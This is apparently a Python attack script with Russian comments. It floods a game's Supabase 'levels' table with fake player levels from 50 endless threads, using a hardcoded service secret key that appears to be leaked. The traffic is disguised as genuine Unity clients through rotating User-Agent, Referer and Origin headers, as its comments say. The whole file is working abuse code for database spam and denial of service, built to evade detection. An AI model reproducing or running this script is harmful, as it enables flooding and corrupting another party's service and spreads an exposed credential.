import requests import random import json import uuid import threading import time import itertools SUPABASE_URL = "https://nrkwqjuavktjmfalvigc.supabase.co" SUPABASE_KEY = "sb_secret_EpsOv6nTnK-keoSNuvpv5A_PUEt_LUr" TABLE_NAME = "levels" REST_URL = f"{SUPABASE_URL}/rest/v1/{TABLE_NAME}" # Разные User-Agent как в реальной игре Unity UNITY_UA = [ "UnityPlayer/2022.3.15f1 (UnityWebRequest/1.0, libcurl/7.84.0-DEV)", "UnityPlayer/2021.3.33f1 (UnityWebRequest/1.0, libcurl/7.80.0)", "UnityPlayer/2023.2.0f1 (UnityWebRequest/1.0, libcurl/8.0.1)", "UnityPlayer/2022.3.20f1 (UnityWebRequest/1.0, libcurl/7.86.0)", "UnityPlayer/2023.1.10f1 (UnityWebRequest/1.0, libcurl/8.1.2)", ] # Реалистичные рефереры REFERERS = [ "https://game1.example.com/", "https://game23.supabase.app/", "https://level-editor.unity.com/", "https://play.unitycloud.com/", "https://mobile-game.domain/", ] def get_random_headers(): return { "apikey": SUPABASE_KEY, "Authorization": f"Bearer {SUPABASE_KEY}", "Content-Type": "application/json", "User-Agent": random.choice(UNITY_UA), "Referer": random.choice(REFERERS), "X-Client-Info": f"unity-client/{random.randint(1000, 9999)}", "Origin": "https://unity.com", "Accept": "application/json", "Accept-Encoding": "gzip, deflate, br", "Connection": "keep-alive", "Prefer": "return=minimal" } def create_level_worker(worker_id): """Один поток — бесконечно создаёт нормальные уровни с маскировкой""" session = requests.Session() # сессия для keep-alive counter = itertools.count(1) print(f"[Поток {worker_id}] Запущен") while True: try: level_num = next(counter) level_name = f"Level {random.randint(10000, 999999)}" author = f"Player{random.randint(1000, 99999)}" author_id = str(uuid.uuid4()) level_id = f"lvl_{random.randint(1000000, 9999999)}_{random.randint(1000, 9999)}" level_data = json.dumps({ "version": random.randint(1, 3), "name": level_name, "author": author, "objects": [], "triggers": [], "background": random.choice(["default", "space", "forest", "city"]), "music": "none", "gravity": round(random.uniform(0.8, 1.5), 2), "time_limit": random.randint(180, 600) }) data = { "level_id": level_id, "level_name": level_name, "author": author, "author_id": author_id, "description": f"Уровень #{random.randint(100, 99999)} от игрока", "level_data": level_data, "difficulty": round(random.uniform(1.0, 10.0), 1), "downloads": 0, "likes": 0, "version": random.randint(1, 5) } headers = get_random_headers() response = session.post(REST_URL, headers=headers, json=data, timeout=20) if response.status_code in (201, 200): print(f"[Поток {worker_id}] ✓ Создан уровень #{level_num} | {level_name}") else: print(f"[Поток {worker_id}] ✗ Ошибка {response.status_code} | {level_name}") except Exception as e: print(f"[Поток {worker_id}] Исключение: {e}") # Лёгкая случайная задержка для большей реалистичности time.sleep(random.uniform(0.3, 1.8)) if __name__ == "__main__": print("Запуск 50 потоков для бесконечного создания уровней...") print("Трафик замаскирован под реальные запросы Unity-клиента\n") threads = [] for i in range(50): t = threading.Thread(target=create_level_worker, args=(i+1,), daemon=True) t.start() threads.append(t) time.sleep(0.05) # лёгкий старт # Держим главный поток живым try: while True: time.sleep(1) except KeyboardInterrupt: print("\nОстановка скрипта...")